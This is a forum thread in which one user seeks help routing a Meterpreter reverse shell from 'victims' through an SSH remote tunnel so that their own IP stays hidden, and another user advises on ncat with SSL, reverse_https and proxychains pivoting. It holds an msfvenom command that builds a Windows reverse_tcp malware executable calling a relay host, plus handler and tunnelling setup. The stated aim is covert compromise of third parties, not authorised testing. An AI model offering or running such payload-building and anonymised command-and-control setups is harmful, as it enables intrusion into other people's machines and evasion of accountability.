is it possible to get a reverse shell via a ssh tunnel

[kdlsw]

My kali machine is in a LAN, in order to get a reverse connection from the victim outside the LAN, I set up a remote ssh tunnel

ssh -N -R 45679:localhost:45679 user@aaa.aaa.aaa.aaa -p 45678

The ssh server is also inside another LAN, but port forwarding is possible, so I forwarded 45678 as ssh port, and 45679 as the reverse connection port. Tested with netcat, and apache server, worked.
Now, here is the configuration of the malware generated by msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=aaa.aaa.aaa.aaa LPORT=45679 -f exe -o mal.exe

And here is the multi/handler configuration under msf

msf exploit(handler) > show options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.0.102    yes       The listen address
  LPORT     45679            yes       The listen port


Exploit target:

  Id  Name
  --  ----
  0   Wildcard Target

Then I exploit, nothing happens on the handler, no session receive, but the ssh terminal continuously showing the following message once I run the malware on the victim machine

connect_to localhost port 45679: failed.
connect_to localhost port 45679: failed.
connect_to localhost port 45679: failed.

I did a scan on aaa.aaa.aaa.aaa:45679, no open port discovered.

Since NC and apache test works, SSH tunnel should be functioning properly, so it is the handler's problem? My thought is, the multi handler is somehow not listening/connecting to the tunneled port, but I am not sure how could that happen, doesn't remote ssh tunnel automatically apply to global once the command is running?
Any ideas, or workarounds? This should be a FAQ, yet, couldn't find right way... Thank you

[digip]

For SSH, you would ideally SSH into the victim, not them into you, which would make you vulnerable to attack. You would also need to use a certificate and disable passwords for it to work, or use a different SSH tool to allow passing the passwords, since SSH itself, won't allow you to script the password prompt part. SSHpass I believe lets you script the login process and pass the password along, but again, you'd be giving the victim access to YOUR side if you do this. Using proxychains, you can then forward any tool over the SSH connection to scan the inside of the victim LAN, via the victim's machine, but I think you have your setup a bit ass backwards in what you are trying to do, since you seem to be wanting the victim to SSH into you, which I wouldn't suggest doing. Also, you would also need to configure SSH to listen for connections on the port you posted above, which seems you have metasploit listening on, not SSH, so SSH should fail completely anyway(even with SSHpass sending credentials) with what you have shown above, unless I missed something you left out.

If meterpeter is listening for a connection, the other side needs to send what it expects, which is not SSH. You selected reverse TCP, so your victim needs to just send a normal reverse TCP session. There is an option to use SSL with the reverse sessions, so SSH isn't exactly needed either, if encryption was what you intended to use to hide the data going over the wire. If you had something like proxychains setup with dynamic forwarding and using certificates for the victim to SSH to you without the need for a password, it might be possible, but again, what you would be doing essentially, is letting the victim SSH into you, giving the victim side, complete access to your machine, which I assume is NOT what you intended.

Think about what needs to be done. Often helps to draw out the topology and end points and everything in between. If you have a way for the victim to dial out and port forwarded on your end to the listener, you don't even need metasploit in the mix(but the msfvenom payload would need to not use meterpreter in this instance), and can use something like ncat, end to end which allows SSL(vs netscat, which does not do SSL). ncat comes with nmap, and if you can copy it onto the victim machine and execute it via any script like a simple bash script, so long as you can catch the reverse shell on your end via port forward or such, you should be good to go. You can then again use proxychains on your end  to forward any scanning tools or such, directly over the ncat tunnel to scan the victim's LAN for other machines, pivot over the tunnel, etc.

This is how I would probably try it, using ncat with SSL, but if you need metasploit, use reverse_https for SSL, and you would be better served with this, vs having them try to SSH into you. Keep it simple, and don't open your machine up to attack.

https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode

 

 

[kdlsw]

On 2017/10/30 at 3:42 PM, digip said:

For SSH, you would ideally SSH into the victim, not them into you, which would make you vulnerable to attack. You would also need to use a certificate and disable passwords for it to work, or use a different SSH tool to allow passing the passwords, since SSH itself, won't allow you to script the password prompt part. SSHpass I believe lets you script the login process and pass the password along, but again, you'd be giving the victim access to YOUR side if you do this. Using proxychains, you can then forward any tool over the SSH connection to scan the inside of the victim LAN, via the victim's machine, but I think you have your setup a bit ass backwards in what you are trying to do, since you seem to be wanting the victim to SSH into you, which I wouldn't suggest doing. Also, you would also need to configure SSH to listen for connections on the port you posted above, which seems you have metasploit listening on, not SSH, so SSH should fail completely anyway(even with SSHpass sending credentials) with what you have shown above, unless I missed something you left out.

If meterpeter is listening for a connection, the other side needs to send what it expects, which is not SSH. You selected reverse TCP, so your victim needs to just send a normal reverse TCP session. There is an option to use SSL with the reverse sessions, so SSH isn't exactly needed either, if encryption was what you intended to use to hide the data going over the wire. If you had something like proxychains setup with dynamic forwarding and using certificates for the victim to SSH to you without the need for a password, it might be possible, but again, what you would be doing essentially, is letting the victim SSH into you, giving the victim side, complete access to your machine, which I assume is NOT what you intended.

Think about what needs to be done. Often helps to draw out the topology and end points and everything in between. If you have a way for the victim to dial out and port forwarded on your end to the listener, you don't even need metasploit in the mix(but the msfvenom payload would need to not use meterpreter in this instance), and can use something like ncat, end to end which allows SSL(vs netscat, which does not do SSL). ncat comes with nmap, and if you can copy it onto the victim machine and execute it via any script like a simple bash script, so long as you can catch the reverse shell on your end via port forward or such, you should be good to go. You can then again use proxychains on your end  to forward any scanning tools or such, directly over the ncat tunnel to scan the victim's LAN for other machines, pivot over the tunnel, etc.

This is how I would probably try it, using ncat with SSL, but if you need metasploit, use reverse_https for SSL, and you would be better served with this, vs having them try to SSH into you. Keep it simple, and don't open your machine up to attack.

https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode

 

 

@digip

Thank you very much for replying me, I think I did not address my situation and question clearly, and it leads to some misunderstanding, I am sorry about that.

 

I am not trying to let victims to connect to my local machine via ssh, I am trying to let them connect to one of my server via a standard meterpreter reverse tcp connection, and the server will send this connection back to my local machine, like this :

 

Victims--------(reverse tcp)--------> my server-----------(remote SSH)--------->my local kali

 

The reasons I am doing this are

1: I am inside a LAN, port forwarding is not very easy here.

2: I do not wish to reveal my local ip address nor a opened listening port to the victims

 

I think this question must has been asked before, since we all use tor and many layers of proxies to hide ourselves in normal forward scans/connections, there must be some similar consideration of remaining anonymous in a reverse shell connection. But I really couldn’t find any.

 

This configuration is tested with netcat and apache, local kali is able to receive connection from the victim machine during the test, it only doesn’t work when this comes to meterpreter reverse tcp, in fact, to be more accurate, when it comes to multi handler, because if I set netcat listening on the reverse tcp connection port, I was able to receive some inbound traffic (just not establishing a valid connection, since it is not the right handler). From victim’s machine, no listening port detected even when I got the multi handler listening, and I tested the handler inside my LAN, it is working. So, maybe the multi handler was not binding with the ssh tunnel?

 

I apologize for my last unclear description. Please, if there is any solutions or workarounds on this problem, share with me, thank you!

Edited November 21, 2017 by kdlsw

[digip]

Quote

netcat listening on the reverse tcp connection port, I was able to receive some inbound traffic

As far as I know, you can't send a meterpreter shell to netcat alone, as it sends a stager and expects certain criteria that metasploit handles during the setup of the session. A straight netcat reverse shell or TCP reverse shell, without meterpreter, is what you need, and using the "my server" as a pivot point. My suggestions is to SSH into "my server" from your "local" machine, and run the attack from the "my server", or use proxychains or such to setup a transparent tunnel, which I'd then disable SSH on the "local" box, and just have the reverse shell sent to any port on "my server" but with "my server" sending it to port 22 to the "local" machine which would be setup to listen on port 22(if that is the only one allowed into the "local" box without port fowarding). you'd need to disable the SSHd service on "local" while having msfconsole waiting for the reverse shell. If you can take metasploit out of the equation all together, then you could go for a straight TCP reverse shell with netcat, ncat or other type TCP forwarder, depending on the payload and the victim machine. There are a number of ways to send reverse shells too, depending on the OS. If Linux based victim machines, you have many options on forwarding a shell with built in features in most cases, no netcat required.

Edited November 22, 2017 by digip

[kdlsw]

On 2017/11/22 at 10:45 PM, digip said:

 just have the reverse shell sent to any port on "my server" but with "my server" sending it to port 22 to the "local" machine which would be setup to listen on port 22

This is exactly what I was trying to do, the entire ssh thing was meant to accomplish this goal, but it did not work.

If I do 

ssh -N -R 80:localhost:80 user@aaa.aaa.aaa.aaa

on my "local" console, and run apache on my "local", I was able to access the "local" apache server by accessing aaa.aaa.aaa.aaa:80 from outside. But this trick did not work with metasploit, I mean if I run 

ssh -N -R 12345:localhost:12345 user@aaa.aaa.aaa.aaa

and set the multi-handler to listen on local machine at 12345, while the trojan was configured to send stager or a direct shell to aaa.aaa.aaa.aaa:12345, it doesn't work. 

How should I do this correctly? Thank you

 

BTW, the "local" machine was never running a sshd service, it was not a ssh server, it connects to "my server" via ssh -R, "my server" is the one running sshd.

[digip]

proxychains allows you to forward any tool or connection between two separate subnets, more or less bridging them together. I'd say first start with some testing and learning to use proxychains and dynamic SSH connections if you want tunneling, but proxychains allows any tool to be used over it, without it having to directly support socks connections. you could run for example TOR, and then "proxychains nmap target.onion" where the proxychain sends the nmap scan to the host over the connected tunnel, allowing you to scan networks not normally accessible directly from the web side, since they reside on different subnets or even hidden networks, essentially bridging two subnets together. Google proxychains and dynamic SSH connections, you'll figure it out pretty quickly, but this is just a high level example.